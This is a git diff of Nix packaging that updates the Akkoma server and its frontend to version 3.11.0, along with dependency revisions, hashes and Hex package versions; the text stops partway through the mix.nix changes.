b/pkgs/servers/akkoma/akkoma-fe/default.nix index 9024ad98c625b..7cce84c2ab4fe 100644 --- a/pkgs/servers/akkoma/akkoma-fe/default.nix +++ b/pkgs/servers/akkoma/akkoma-fe/default.nix @@ -7,14 +7,14 @@ stdenv.mkDerivation rec { pname = "akkoma-fe"; - version = "unstable-2023-08-05"; + version = "3.11.0"; src = fetchFromGitea { domain = "akkoma.dev"; owner = "AkkomaGang"; repo = "akkoma-fe"; - rev = "e7a558a533dd31de174791f130afdaa5b6893b74"; - hash = "sha256-BRmfppsC7NjDdcLxQHuLbQZmYGkj4DFPRtQOf/pRCpI="; + rev = "7cc6c3565466b330043e0a811a6e1e2db487ec8d"; + hash = "sha256-Z7psmIyOo8Rvwcip90JgxLhZ5SkkGB94QInEgm8UOjQ="; }; offlineCache = fetchYarnDeps { diff --git a/pkgs/servers/akkoma/default.nix b/pkgs/servers/akkoma/default.nix index fca88e6a3cdba..7aea0eaa2771f 100644 --- a/pkgs/servers/akkoma/default.nix +++ b/pkgs/servers/akkoma/default.nix @@ -9,14 +9,14 @@ beamPackages.mixRelease rec { pname = "pleroma"; - version = "3.10.4"; + version = "3.11.0"; src = fetchFromGitea { domain = "akkoma.dev"; owner = "AkkomaGang"; repo = "akkoma"; rev = "v${version}"; - hash = "sha256-MPUZFcIxZ21fe3edwi+/Kt8qpwNBCh40wheC3QMqw2M="; + hash = "sha256-cVZx3pjbmDR4SwSLz1aSTIs3SS2oz5m43RJzRttFpPs="; }; postPatch = '' @@ -36,6 +36,7 @@ beamPackages.mixRelease rec { overrides = (final: prev: { # mix2nix does not support git dependencies yet, # so we need to add them manually + captcha = beamPackages.buildMix rec { name = "captcha"; version = "0.1.0"; @@ -45,13 +46,14 @@ beamPackages.mixRelease rec { group = "pleroma"; owner = "elixir-libraries"; repo = "elixir-captcha"; - rev = "3bbfa8b5ea13accc1b1c40579a380d8e5cfd6ad2"; - hash = "sha256-skZ0QwF46lUTfsgACMR0AR5ymY2F50BQy1AUBjWVdro="; + rev = "90f6ce7672f70f56708792a98d98bd05176c9176"; + hash = "sha256-s7EuAhmCsQA/4p2NJHJSWB/DZ5hA+7EelPsUOvKr2Po="; }; # the binary is not getting installed by default postInstall = "mv priv/* $out/lib/erlang/lib/${name}-${version}/priv/"; }; + concurrent_limiter = beamPackages.buildMix rec { name = "concurrent_limiter"; version = "0.1.1"; @@ -64,6 +66,7 @@ beamPackages.mixRelease rec { hash = "sha256-A7ucZnXks4K+JDVY5vV2cT5KfEOUOo/OHO4rga5mGys="; }; }; + elasticsearch = beamPackages.buildMix rec { name = "elasticsearch"; version = "1.0.1"; @@ -76,6 +79,33 @@ beamPackages.mixRelease rec { hash = "sha256-CtmQHVl+VTpemne+nxbkYGcErrgCo+t3ZBPbkFSpyF0="; }; }; + + file_ex = beamPackages.buildMix rec { + name = "file_ex"; + version = "0.1.0"; + + src = fetchFromGitea { + domain = "akkoma.dev"; + owner = "AkkomaGang"; + repo = "file_ex"; + rev = "cc7067c7d446c2526e9ecf91d40896b088851569"; + hash = "sha256-3sxfdOy0cpst4jiutoaabk72VFJ2USKiJN9ODN01Dco="; + }; + }; + + http_signatures = beamPackages.buildMix rec { + name = "http_signatures"; + version = "0.1.1"; + + src = fetchFromGitea { + domain = "akkoma.dev"; + owner = "AkkomaGang"; + repo = "http_signatures"; + rev = "6640ce7d24c783ac2ef56e27d00d12e8dc85f396"; + hash = "sha256-Q/IoVbM/TBgGCmx8AxiBHF2hARb0FbPml8N1HjN3CsE="; + }; + }; + linkify = beamPackages.buildMix rec { name = "linkify"; version = "0.5.2"; @@ -88,20 +118,38 @@ beamPackages.mixRelease rec { hash = "sha256-e3wzlbRuyw/UB5Tb7IozX/WR1T+sIBf9C/o5Thki9vg="; }; }; + + majic = beamPackages.buildMix rec { + name = "majic"; + version = "1.0.0"; + + src = fetchFromGitea { + domain = "akkoma.dev"; + owner = "AkkomaGang"; + repo = "majic"; + rev = "80540b36939ec83f48e76c61e5000e0fd67706f0"; + hash = "sha256-OMM9aDRvbqCOBIE+iPySU8ONRn1BqHDql22rRSmdW08="; + }; + + beamDeps = with final; [ elixir_make mime nimble_pool plug ]; + buildInputs = [ file ]; + }; + mfm_parser = beamPackages.buildMix rec { name = "mfm_parser"; - version = "0.1.1"; + version = "0.1.0"; src = fetchFromGitea { domain = "akkoma.dev"; owner = "AkkomaGang"; repo = "mfm-parser"; - rev = "912fba81152d4d572e457fd5427f9875b2bc3dbe"; - hash = "sha256-n3WmERxKK8VM8jFIBAPS6GkbT7/zjqi3AjjWbjOdMzs="; + rev = "b21ab7754024af096f2d14247574f55f0063295b"; + hash = "sha256-couG5jrAo0Fbk/WABd4n3vhXpDUp+9drxExKc5NM9CI="; }; beamDeps = with final; [ phoenix_view temple ]; }; + search_parser = beamPackages.buildMix rec { name = "search_parser"; version = "0.1.0"; @@ -115,6 +163,7 @@ beamPackages.mixRelease rec { beamDeps = with final; [ nimble_parsec ]; }; + temple = beamPackages.buildMix rec { name = "temple"; version = "0.9.0-rc.0"; @@ -137,14 +186,7 @@ beamPackages.mixRelease rec { nativeBuildInputs = [ cmake ]; dontUseCmakeConfigure = true; }; - http_signatures = prev.http_signatures.override { - patchPhase = '' - substituteInPlace mix.exs --replace ":logger" ":logger, :public_key" - ''; - }; - majic = prev.majic.override { - buildInputs = [ file ]; - }; + syslog = prev.syslog.override { buildPlugins = with beamPackages; [ pc ]; }; @@ -152,13 +194,18 @@ beamPackages.mixRelease rec { mime = prev.mime.override { patchPhase = let cfgFile = writeText "config.exs" '' - use Mix.Config + import Config + config :mime, :types, %{ - "application/activity+json" => ["activity+json"], - "application/jrd+json" => ["jrd+json"], - "application/ld+json" => ["activity+json"], "application/xml" => ["xml"], - "application/xrd+xml" => ["xrd+xml"] + "application/xrd+xml" => ["xrd+xml"], + "application/jrd+json" => ["jrd+json"], + "application/activity+json" => ["activity+json"], + "application/ld+json" => ["activity+json"] + } + + config :mime, :extensions, %{ + "activity+json" => "application/activity+json" } ''; in '' diff --git a/pkgs/servers/akkoma/mix.nix b/pkgs/servers/akkoma/mix.nix index 0cf4afeaf2a97..9eaa2a3d95264 100644 --- a/pkgs/servers/akkoma/mix.nix +++ b/pkgs/servers/akkoma/mix.nix @@ -10,12 +10,12 @@ let packages = with beamPackages; with self; { argon2_elixir = buildMix rec { name = "argon2_elixir"; - version = "3.1.0"; + version = "3.2.1"; src = fetchHex { - pkg = "${name}"; + pkg = "argon2_elixir"; version = "${version}"; - sha256 = "0wyxj4197jnz4z38611f00ym5n3w7hv06l4l3dfid4h2xvhfm3y0"; + sha256 = "a813b78217394530b5fcf4c8070feee43df03ffef938d044019169c766315690"; }; beamDeps = [ comeonin elixir_make ]; @@ -26,9 +26,9 @@ let version = "1.2.2"; src = fetchHex { - pkg = "${name}"; + pkg = "base62"; version = "${version}"; - sha256 = "1fvpygkdmd7l737lv7svir8n1vhk0m094i8ygwcvx9gam2ykc4yl"; + sha256 = "d41336bda8eaa5be197f1e4592400513ee60518e5b9f4dcf38f4b4dae6f377bb"; }; beamDeps = [ custom_base ]; @@ -39,9 +39,9 @@ let version = "0.2.0"; src = fetchHex { - pkg = "${name}"; + pkg = "bbcode_pleroma"; version = "${version}"; - sha256 = "1hyixcxhcf2j2gyavmmnvfslnl6z60dz1qa9xysfspws85s1118r"; + sha256 = "19851074419a5fedb4ef49e1f01b30df504bb5dbb6d6adfc135238063bebd1c3"; }; beamDeps = [ nimble_parsec ]; @@ -52,9 +52,9 @@ let version = "3.0.1"; src = fetchHex { - pkg = "${name}"; + pkg = "bcrypt_elixir"; version = "${version}"; - sha256 = "1kwnzcjf6v4af12nzw5b2fksk1m1fvbxvhclczy1wpb4zdgbjss8"; + sha256 = "486bb95efb645d1efc6794c1ddd776a186a9a713abf06f45708a6ce324fb96cf"; }; beamDeps = [ comeonin elixir_make ]; @@ -62,12 +62,12 @@ let benchee = buildMix rec { name = "benchee"; - version = "1.1.0"; + version = "1.2.0"; src = fetchHex { - pkg = "${name}"; + pkg = "benchee"; version = "${version}"; - sha256 = "14vdbvmkkqhcqvilq1w8zl895f4hpbv7fw2q5c0ml5h3a1a7v9bx"; + sha256 = "ee729e53217898b8fd30aaad3cce61973dab61574ae6f48229fe7ff42d5e4457"; }; beamDeps = [ deep_merge statistex ]; @@ -78,9 +78,9 @@ let version = "0.2.1"; src = fetchHex { - pkg = "${name}"; + pkg = "bunt"; version = "${version}"; - sha256 = "19bp6xh052ql3ha0v3r8999cvja5d2p6cph02mxphfaj4jsbyc53"; + sha256 = "a330bfb4245239787b15005e66ae6845c9cd524a288f0d141c148b02603777a5"; }; beamDeps = []; @@ -91,9 +91,9 @@ let version = "3.6.0"; src = fetchHex { - pkg = "${name}"; + pkg = "cachex"; version = "${version}"; - sha256 = "1qp2r1f4hvpybhgi547p33ci7bh2w6xn6jl9il68xg4370vlxwpb"; + sha256 = "ebf24e373883bc8e0c8d894a63bbe102ae13d918f790121f5cfe6e485cc8e2e2"; }; beamDeps = [ eternal jumper sleeplocks unsafe ]; @@ -104,9 +104,9 @@ let version = "1.0.0"; src = fetchHex { - pkg = "${name}"; + pkg = "calendar"; version = "${version}"; - sha256 = "0vqa1zpzsdgr6i3yx8j9b6qscvgrbvzn43p5bqm930hcja0ra3lr"; + sha256 = "990e9581920c82912a5ee50e62ff5ef96da6b15949a2ee4734f935fdef0f0a6f"; }; beamDeps = [ tzdata ]; @@ -114,12 +114,12 @@ let castore = buildMix rec { name = "castore"; - version = "1.0.3"; + version = "1.0.5"; src = fetchHex { - pkg = "${name}"; + pkg = "castore"; version = "${version}"; - sha256 = "02rrljx2f6zhmiwqwyk7al0gdf66qpx4jm59sqg1cnyiylgb02k8"; + sha256 = "8d7c597c3e4a64c395980882d4bca3cebb8d74197c590dc272cfd3b6a6310578"; }; beamDeps = []; @@ -127,12 +127,12 @@ let certifi = buildRebar3 rec { name = "certifi"; - version = "2.9.0"; + version = "2.12.0"; src = fetchHex { - pkg = "${name}"; + pkg = "certifi"; version = "${version}"; - sha256 = "0ha6vmf5p3xlbf5w1msa89frhvfk535rnyfybz9wdmh6vdms8v96"; + sha256 = "ee68d85df22e554040cdb4be100f33873ac6051387baf6a8f6ce82272340ff1c"; }; beamDeps = []; @@ -143,9 +143,9 @@ let version = "0.10.0"; src = fetchHex { - pkg = "${name}"; + pkg = "combine"; version = "${version}"; - sha256 = "06s5y8b0snr1s5ax9v3s7rc6c8xf5vj6878d1mc7cc07j0bvq78v"; + sha256 = "1b1dbc1790073076580d0d1d64e42eae2366583e7aecd455d1215b0d16f2451b"; }; beamDeps = []; @@ -153,12 +153,12 @@ let comeonin = buildMix rec { name = "comeonin"; - version = "5.3.3"; + version = "5.4.0"; src = fetchHex { - pkg = "${name}"; + pkg = "comeonin"; version = "${version}"; - sha256 = "1pw4rhhsh8mwj26dkbxz2niih9j8pc3qijlpcl8jh208rg1cjf1y"; + sha256 = "796393a9e50d01999d56b7b8420ab0481a7538d0caf80919da493b4a6e51faf1"; }; beamDeps = []; @@ -169,9 +169,9 @@ let version = "1.1.0"; src = fetchHex { - pkg = "${name}"; + pkg = "connection"; version = "${version}"; - sha256 = "1746n8ba11amp1xhwzp38yfii2h051za8ndxlwdykyqqljq1wb3j"; + sha256 = "722c1eb0a418fbe91ba7bd59a47e28008a189d47e37e0e7bb85585a016b2869c"; }; beamDeps = []; @@ -182,9 +182,9 @@ let version = "3.0.3"; src = fetchHex { - pkg = "${name}"; + pkg = "cors_plug"; version = "${version}"; - sha256 = "03c3vwp4bdk3sixica4mmg0vinmx8qdz2bmbby1x6bi7ijg7ab9z"; + sha256 = "3f2d759e8c272ed3835fab2ef11b46bddab8c1ab9528167bd463b6452edf830d"; }; beamDeps = [ plug ]; @@ -195,9 +195,9 @@ let version = "2.10.0"; src = fetchHex { - pkg = "${name}"; + pkg = "cowboy"; version = "${version}"; - sha256 = "0sqxqjdykxc2ai9cvkc0xjwkvr80z98wzlqlrd1z3iiw32vwrz9s"; + sha256 = "3afdccb7183cc6f143cb14d3cf51fa00e53db9ec80cdcd525482f5e99bc41d6b"; }; beamDeps = [ cowlib ranch ]; @@ -208,9 +208,9 @@ let version = "0.4.0"; src = fetchHex { - pkg = "${name}"; + pkg = "cowboy_telemetry"; version = "${version}"; - sha256 = "1pn90is3k9dq64wbijvzkqb6ldfqvwiqi7ymc8dx6ra5xv0vm63x"; + sha256 = "7d98bac1ee4565d31b62d59f8823dfd8356a169e7fcbb83831b8a5397404c9de"; }; beamDeps = [ cowboy telemetry ]; @@ -221,9 +221,9 @@ let version = "2.12.1"; src = fetchHex { - pkg = "${name}"; + pkg = "cowlib"; version = "${version}"; - sha256 = "1c4dgi8canscyjgddp22mjc69znvwy44wk3r7jrl2wvs6vv76fqn"; + sha256 = "163b73f6367a7341b33c794c4e88e7dbfe6498ac42dcd69ef44c5bc5507c8db0"; }; beamDeps = []; @@ -231,12 +231,12 @@ let credo = buildMix rec { name = "credo"; - version = "1.7.0"; + version = "1.7.1"; src = fetchHex { - pkg = "${name}"; + pkg = "credo"; version = "${version}"; - sha256 = "1mv9lyw6hgjn6hlnzfbs0x2dchvwlmj8bg0a8l7iq38z7pvgqfb8"; + sha256 = "e9871c6095a4c0381c89b6aa98bc6260a8ba6addccf7f6a53da8849c748a58a2"; }; beamDeps = [ bunt file_system jason ]; @@ -247,9 +247,9 @@ let version = "0.2.1"; src = fetchHex { - pkg = "${name}"; + pkg = "custom_base"; version = "${version}"; - sha256 = "0qx47d4w2mxa3rr6mrxdasgk7prxqwd0y9zpjhz61jayrkx1kw4d"; + sha256 = "8df019facc5ec9603e94f7270f1ac73ddf339f56ade76a721eaa57c1493ba463"; }; beamDeps = []; @@ -257,12 +257,12 @@ let db_connection = buildMix rec { name = "db_connection"; - version = "2.5.0"; + version = "2.6.0"; src = fetchHex { - pkg = "${name}"; + pkg = "db_connection"; version = "${version}"; - sha256 = "18jsnmabdjwj3i7ml43ljzrzzvfy1a3bnbaqywgsv7nndji5nbf9"; + sha256 = "c2f992d15725e721ec7fbc1189d4ecdb8afef76648c746a8e1cad35e3b8a35f3"; }; beamDeps = [ telemetry ]; @@ -273,9 +273,9 @@ let version = "2.1.1"; src = fetchHex { - pkg = "${name}"; + pkg = "decimal"; version = "${version}"; - sha256 = "1k7z418b6cj977wswpxsk5844xrxc1smaiqsmrqpf3pdjzsfbksk"; + sha256 = "53cfe5f497ed0e7771ae1a475575603d77425099ba5faef9394932b35020ffcc"; }; beamDeps = []; @@ -286,9 +286,9 @@ let version = "1.0.0"; src = fetchHex { - pkg = "${name}"; + pkg = "deep_merge"; version = "${version}"; - sha256 = "0c2li2a3hxcc05nwvy4kpsal0315yk900kxyybld972b15gqww6f"; + sha256 = "ce708e5f094b9cd4e8f2be4f00d2f4250c4095be93f8cd6d018c753894885430"; }; beamDeps = []; @@ -296,12 +296,12 @@ let dialyxir = buildMix rec { name = "dialyxir"; - version = "1.3.0"; + version = "1.4.2"; src = fetchHex { - pkg = "${name}"; + pkg = "dialyxir"; version = "${version}"; - sha256 = "0vv90jip2w362n3l7dkhqfdwlz97nwji535kn3fbk3dassya9ch0"; + sha256 = "516603d8067b2fd585319e4b13d3674ad4f314a5902ba8130cd97dc902ce6bbd"; }; beamDeps = [ erlex ]; @@ -309,25 +309,25 @@ let earmark = buildMix rec { name = "earmark"; - version = "1.4.39"; + version = "1.4.46"; src = fetchHex { - pkg = "${name}"; + pkg = "earmark"; version = "${version}"; - sha256 = "0h547ri1nbxyaisyx7jddg3wib7fpm3q4v914szwvv6bqf79sv0m"; + sha256 = "798d86db3d79964e759ddc0c077d5eb254968ed426399fbf5a62de2b5ff8910a"; }; - beamDeps = [ earmark_parser ]; + beamDeps = []; }; earmark_parser = buildMix rec { name = "earmark_parser"; - version = "1.4.33"; + version = "1.4.39"; src = fetchHex { - pkg = "${name}"; + pkg = "earmark_parser"; version = "${version}"; - sha256 = "13qvlqnii8g6bcz6cl330vjwaan7jy30g1app3yvjncvf8rnhlid"; + sha256 = "06553a88d1f1846da9ef066b87b57c6f605552cfbe40d20bd8d59cc6bde41944"; }; beamDeps = []; @@ -338,9 +338,9 @@ let version = "1.2.2"; src = fetchHex { - pkg = "${name}"; + pkg = "eblurhash"; version = "${version}"; - sha256 = "0k040pj8hlm8mwy0ra459hk35v9gfsvvgp596nl27q2dj00cl84c"; + sha256 = "8c20ca00904de023a835a9dcb7b7762fed32264c85a80c3cafa85288e405044c"; }; beamDeps = []; @@ -351,9 +351,9 @@ let version = "3.10.3"; src = fetchHex { - pkg = "${name}"; + pkg = "ecto"; version = "${version}"; - sha256 = "0crlrpl392pbkzl6ar4z6afna8h9d46wshky1zbr3m344d7cggj4"; + sha256 = "44bec74e2364d491d70f7e42cd0d690922659d329f6465e89feb8a34e8cd3433"; }; beamDeps = [ decimal jason telemetry ]; @@ -364,9 +364,9 @@ let version = "1.4.0"; src = fetchHex { - pkg = "${name}"; + pkg = "ecto_enum"; version = "${version}"; - sha256 = "1r2ffrr020fhfviqn21cv06sd3sp4bf1jra0xrgb3hl1f445rdcg"; + sha256 = "8fb55c087181c2b15eee406519dc22578fa60dd82c088be376d0010172764ee4"; }; beamDeps = [ ecto ecto_sql postgrex ]; @@ -374,12 +374,12 @@ let ecto_psql_extras = buildMix rec { name = "ecto_psql_extras"; - version = "0.7.12"; + version = "0.7.14"; src = fetchHex { - pkg = "${name}"; + pkg = "ecto_psql_extras"; version = "${version}"; - sha256 = "0k3iczvfj7m77170falil6h49r4hih1p54m952j37q2cnw81s7aa"; + sha256 = "22f5f98592dd597db9416fcef00effae0787669fdcb6faf447e982b553798e98"; }; beamDeps = [ ecto_sql postgrex table_rex ]; @@ -387,12 +387,12 @@ let ecto_sql = buildMix rec { name = "ecto_sql"; - version = "3.10.1"; + version = "3.10.2"; src = fetchHex { - pkg = "${name}"; + pkg = "ecto_sql"; version = "${version}"; - sha256 = "0sy5277akp828hvcg60yxhpfgj543y2z1bqy2z414pv9ppdmp8pn"; + sha256 = "68c018debca57cb9235e3889affdaec7a10616a4e3a80c99fa1d01fdafaa9007"; }; beamDeps = [ db_connection ecto postgrex telemetry ]; @@ -400,15 +400,28 @@ let elixir_make = buildMix rec { name = "elixir_make"; - version = "0.6.3"; + version = "0.7.7"; src = fetchHex { - pkg = "${name}"; + pkg = "elixir_make"; version = "${version}"; - sha256 = "05ppvbhqi5m9zk1c4xnrki814sqhxrc7d1dpvfmwm2v7qm8xdjzm"; + sha256 = "5bc19fff950fad52bbe5f211b12db9ec82c6b34a9647da0c2224b8b8464c7e6c"; }; - beamDeps = []; + beamDeps = [ castore ]; + }; + + elixir_xml_to_map = buildMix rec { + name = "elixir_xml_to_map"; + version = "3.0.0"; + + src = fetchHex { + pkg = "elixir_xml_to_map"; + version = "${version}"; + sha256 = "11222dd7f029f8db7a6662b41c992dbdb0e1c6e4fdea6a42056f9d27c847efbb"; + }; + + beamDeps = [ erlsom ]; }; erlex = buildMix rec { @@ -416,9 +429,22 @@ let version = "0.2.6"; src = fetchHex { - pkg = "${name}"; + pkg = "erlex"; version = "${version}"; - sha256 = "0x8c1j62y748ldvlh46sxzv5514rpzm809vxn594vd7y25by5lif"; + sha256 = "2ed2e25711feb44d52b17d2780eabf998452f6efda104877a3881c2f8c0c0c75"; + }; + + beamDeps = []; + }; + + erlsom = buildRebar3 rec { + name = "erlsom"; + version = "1.5.1"; + + src = fetchHex { + pkg = "erlsom"; + version = "${version}"; + sha256 = "7965485494c5844dd127656ac40f141aadfa174839ec1be1074e7edf5b4239eb"; }; beamDeps = []; @@ -429,9 +455,9 @@ let version = "1.2.2"; src = fetchHex { - pkg = "${name}"; + pkg = "eternal"; version = "${version}"; - sha256 = "10p7m6kv2z2c16gw36wgiwnkykss4lfkmm71llxp09ipkhmy77rc"; + sha256 = "2c9fe32b9c3726703ba5e1d43a1d255a4f3f2d8f8f9bc19f094c7cb1a7a9e782"; }; beamDeps = []; @@ -439,12 +465,12 @@ let ex_aws = buildMix rec { name = "ex_aws"; - version = "2.4.4"; + version = "2.5.0"; src = fetchHex { - pkg = "${name}"; + pkg = "ex_aws"; version = "${version}"; - sha256 = "1iqxr74m7wwqbjkrzrm6xs2ri9kshabh1wpk0jw6zcd2bi43xmm7"; + sha256 = "971b86e5495fc0ae1c318e35e23f389e74cf322f2c02d34037c6fc6d405006f1"; }; beamDeps = [ hackney jason mime sweet_xml telemetry ]; @@ -452,12 +478,12 @@ let ex_aws_s3 = buildMix rec { name = "ex_aws_s3"; - version = "2.4.0"; + version = "2.5.2"; src = fetchHex { - pkg = "${name}"; + pkg = "ex_aws_s3"; version = "${version}"; - sha256 = "1fsngrldq2g3i2f7y5m4d85sd7hx4jiwnfcxhs14bnalfziadpc5"; + sha256 = "cc5bd945a22a99eece4721d734ae2452d3717e81c357a781c8574663254df4a1"; }; beamDeps = [ ex_aws sweet_xml ]; @@ -468,9 +494,9 @@ let version = "0.2.4"; src = fetchHex { - pkg = "${name}"; + pkg = "ex_const"; version = "${version}"; - sha256 = "0rwppain0bd36krph1as0vxlxb42psc6mlkfi67jp6fc21k39zcn"; + sha256 = "96fd346610cc992b8f896ed26a98be82ac4efb065a0578f334a32d60a3ba9767"; }; beamDeps = []; @@ -478,12 +504,12 @@ let ex_doc = buildMix rec { name = "ex_doc"; - version = "0.30.3"; + version = "0.31.0"; src = fetchHex { - pkg = "${name}"; + pkg = "ex_doc"; version = "${version}"; - sha256 = "1dhqi5qx2fkphia0g7x2qg6pib08wsbn4dyyg7gmxln18qh71j7v"; + sha256 = "5350cafa6b7f77bdd107aa2199fe277acf29d739aba5aee7e865fc680c62a110"; }; beamDeps = [ earmark_parser makeup_elixir makeup_erlang ]; @@ -494,9 +520,9 @@ let version = "2.7.0"; src = fetchHex { - pkg = "${name}"; + pkg = "ex_machina"; version = "${version}"; - sha256 = "1y2v4j1zg1ji8q8di0fxpc3z3n2jmbnc85d6hx68j4fykfisg6j1"; + sha256 = "419aa7a39bde11894c87a615c4ecaa52d8f107bbdd81d810465186f783245bf8"; }; beamDeps = [ ecto ecto_sql ]; @@ -507,9 +533,9 @@ let version = "2.0.0"; src = fetchHex { - pkg = "${name}"; + pkg = "ex_syslogger"; version = "${version}"; - sha256 = "17h1p3l3a3icqlkyxglw4wwqxxhjb1indas9s7nfdsb42zkjyax5"; + sha256 = "a52b2fe71764e9e6ecd149ab66635812f68e39279cbeee27c52c0e35e8b8019e"; }; beamDeps = [ jason syslog ]; @@ -520,9 +546,9 @@ let version = "0.16.1"; src = fetchHex { - pkg = "${name}"; + pkg = "excoveralls"; version = "${version}"; - sha256 = "0f7i5gx1rpswbqmmqv133v3lpjwpkhjb2k56fmqcy210ir367rys"; + sha256 = "dae763468e2008cf7075a64cb1249c97cb4bc71e236c5c2b5e5cdf1cfa2bf138"; }; beamDeps = [ hackney jason ]; @@ -533,9 +559,9 @@ let version = "0.4.1"; src = fetchHex { - pkg = "${name}"; + pkg = "expo"; version = "${version}"; - sha256 = "0iyfl4vppfhmimfqaracjza9a6y8rgia03sm28y5934cg5xbmxrg"; + sha256 = "2ff7ba7a798c8c543c12550fa0e2cbc81b95d4974c65855d8d15ba7b37a1ce47"; }; beamDeps = []; @@ -546,9 +572,9 @@ let version = "2.2.0"; src = fetchHex { - pkg = "${name}"; + pkg = "fast_html"; version = "${version}"; - sha256 = "1bpvmqw4pcx8ssgmazvqn0dm6b3g0m5rij6shy8qy5m6nhilyk06"; + sha256 = "064c4f23b4a6168f9187dac8984b056f2c531bb0787f559fd6a8b34b38aefbae"; }; beamDeps = [ elixir_make nimble_pool ]; @@ -559,9 +585,9 @@ let version = "0.2.3"; src = fetchHex { - pkg = "${name}"; + pkg = "fast_sanitize"; version = "${version}"; - sha256 = "1qjnbs63q0d95dqhh2r9sz3zpg2y4hjy23kxsqanwf6h21njibg8"; + sha256 = "e8ad286d10d0386e15d67d0ee125245ebcfbc7d7290b08712ba9013c8c5e56e2"; }; beamDeps = [ fast_html plug ]; @@ -572,9 +598,9 @@ let version = "0.2.10"; src = fetchHex { - pkg = "${name}"; + pkg = "file_system"; version = "${version}"; - sha256 = "1p0myxmnjjds8bbg69dd6fvhk8q3n7lb78zd4qvmjajnzgdmw6a1"; + sha256 = "41195edbfb562a593726eda3b3e8b103a309b733ad25f3d642ba49696bf715dc"; }; beamDeps = []; @@ -585,9 +611,9 @@ let version = "0.16.0"; src = fetchHex { - pkg = "${name}"; + pkg = "finch"; version = "${version}"; - sha256 = "1iayffbjzb1rcy1p0wibzv6j5n7dc16ha5lhcbn5z7ji9m61fq7n"; + sha256 = "f660174c4d519e5fec629016054d60edd822cdfe2b7270836739ac2f97735ec5"; }; beamDeps = [ castore mime mint nimble_options nimble_pool telemetry ]; @@ -598,9 +624,9 @@ let version = "0.1.0"; src = fetchHex { - pkg = "${name}"; + pkg = "flake_id"; version = "${version}"; - sha256 = "09yq3dlqqrb7v4ysblwpz1al0q5qcmryldkwq1kx5b71zn881z1i"; + sha256 = "31fc8090fde1acd267c07c36ea7365b8604055f897d3a53dd967658c691bd827"; }; beamDeps = [ base62 ecto ]; @@ -608,12 +634,12 @@ let floki = buildMix rec { name = "floki"; - version = "0.34.3"; + version = "0.35.2"; src = fetchHex { - pkg = "${name}"; + pkg = "floki"; version = "${version}"; - sha256 = "0h936kfai562dh4qpcpri7jxrdmqyxaymizk9d5r55svx8748xwm"; + sha256 = "6b05289a8e9eac475f644f09c2e4ba7e19201fd002b89c28c1293e7bd16773d9"; }; beamDeps = []; @@ -624,9 +650,9 @@ let version = "1.2.0"; src = fetchHex { - pkg = "${name}"; + pkg = "gen_smtp"; version = "${version}"; - sha256 = "0yb7541zx0x76gzk0m1m8fkl6524jhl8rxc59l6g5a5wh1b3gq2y"; + sha256 = "5ee0375680bca8f20c4d85f58c2894441443a743355430ff33a783fe03296779"; }; beamDeps = [ ranch ]; @@ -637,9 +663,9 @@ let version = "0.22.3"; src = fetchHex { - pkg = "${name}"; + pkg = "gettext"; version = "${version}"; - sha256 = "1gb49f75apkgfa5ddg02x08w1i3qm31jifzicrl4m58kfx226pwk"; + sha256 = "935f23447713954a6866f1bb28c3a878c4c011e802bcd68a726f5e558e4b64bd"; }; beamDeps = [ expo ]; @@ -647,12 +673,12 @@ let hackney = buildRebar3 rec { name = "hackney"; - version = "1.18.1"; + version = "1.20.1"; src = fetchHex { - pkg = "${name}"; + pkg = "hackney"; version = "${version}"; - sha256 = "13hja14kig5jnzcizpdghj68i88f0yd9wjdfjic9nzi98kzxmv54"; + sha256 = "fe9094e5f1a2a2c0a7d10918fee36bfec0ec2a979994cff8cfe8058cd9af38e3"; }; beamDeps = [ certifi idna metrics mimerl parse_trans ssl_verify_fun unicode_util_compat ]; @@ -663,9 +689,9 @@ let version = "0.1.2"; src = fetchHex { - pkg = "${name}"; + pkg = "hpax"; version = "${version}"; - sha256 = "04wci9ifsfyd2pbcrnpgh2aq0a8fi1lpkrzb91kz3x93b8yq91rc"; + sha256 = "2c87843d5a23f5f16748ebe77969880e29809580efdaccd615cd3bed628a8c13"; }; beamDeps = []; @@ -676,22 +702,9 @@ let version = "0.5.2"; src = fetchHex { - pkg = "${name}"; + pkg = "html_entities"; version = "${version}"; - sha256 = "1k7xyj0q38ms3n5hbn782pa6w1vgd6biwlxr4db6319l828a6fy5"; - }; - - beamDeps = []; - }; - - http_signatures = buildMix rec { - name = "http_signatures"; - version = "0.1.1"; - - src = fetchHex { - pkg = "${name}"; - version = "${version}"; - sha256 = "18s2b5383xl2qjijkxag4mvwk2p5kv2fw58c9ii7pk12fc08lfyc"; + sha256 = "c53ba390403485615623b9531e97696f076ed415e8d8058b1dbaa28181f4fdcc"; }; beamDeps = []; @@ -702,9 +715,9 @@ let version = "1.8.2"; src = fetchHex { - pkg = "${name}"; + pkg = "httpoison"; version = "${version}"; - sha256 = "08crb48yz7r7w00pzw9gfk862g99z2ma2x6awab0rqvjd7951crb"; + sha256 = "2bb350d26972e30c96e2ca74a1aaf8293d61d0742ff17f01e0279fef11599921"; }; beamDeps = [ hackney ]; @@ -715,9 +728,9 @@ let version = "6.1.1"; src = fetchHex { - pkg = "${name}"; + pkg = "idna"; version = "${version}"; - sha256 = "1sjcjibl34sprpf1dgdmzfww24xlyy34lpj7mhcys4j4i6vnwdwj"; + sha256 = "92376eb7894412ed19ac475e4a86f7b413c1b9fbb5bd16dccd57934157944cea"; }; beamDeps = [ unicode_util_compat ]; @@ -728,9 +741,9 @@ let version = "1.0.4"; src = fetchHex { - pkg = "${name}"; + pkg = "inet_cidr"; version = "${version}"; - sha256 = "1g61i08cizr99ivy050lv8fmvnwia9zmipfvlwff8jkhi40x78k4"; + sha256 = "64a2d30189704ae41ca7dbdd587f5291db5d1dda1414e0774c29ffc81088c1bc"; }; beamDeps = []; @@ -741,9 +754,9 @@ let version = "1.4.1"; src = fetchHex { - pkg = "${name}"; + pkg = "jason"; version = "${version}"; - sha256 = "18d70i31bz11nr6vgsjn5prvhkvwqbyf3xq22ck5cnsnzp6ixc7v"; + sha256 = "fbb01ecdfd565b56261302f7e1fcc27c4fb8f32d56eab74db621fc154604a7a1"; }; beamDeps = [ decimal ]; @@ -754,9 +767,9 @@ let version = "2.6.0"; src = fetchHex { - pkg = "${name}"; + pkg = "joken"; version = "${version}"; - sha256 = "19xanmavc4n5zzypxyi4qd93m8l7sjqswy2ksfmm82ydf5db15as"; + sha256 = "5a95b05a71cd0b54abd35378aeb1d487a23a52c324fa7efdffc512b655b5aaa7"; }; beamDeps = [ jose ]; @@ -767,9 +780,9 @@ let version = "1.11.6"; src = fetchHex { - pkg = "${name}"; + pkg = "jose"; version = "${version}"; - sha256 = 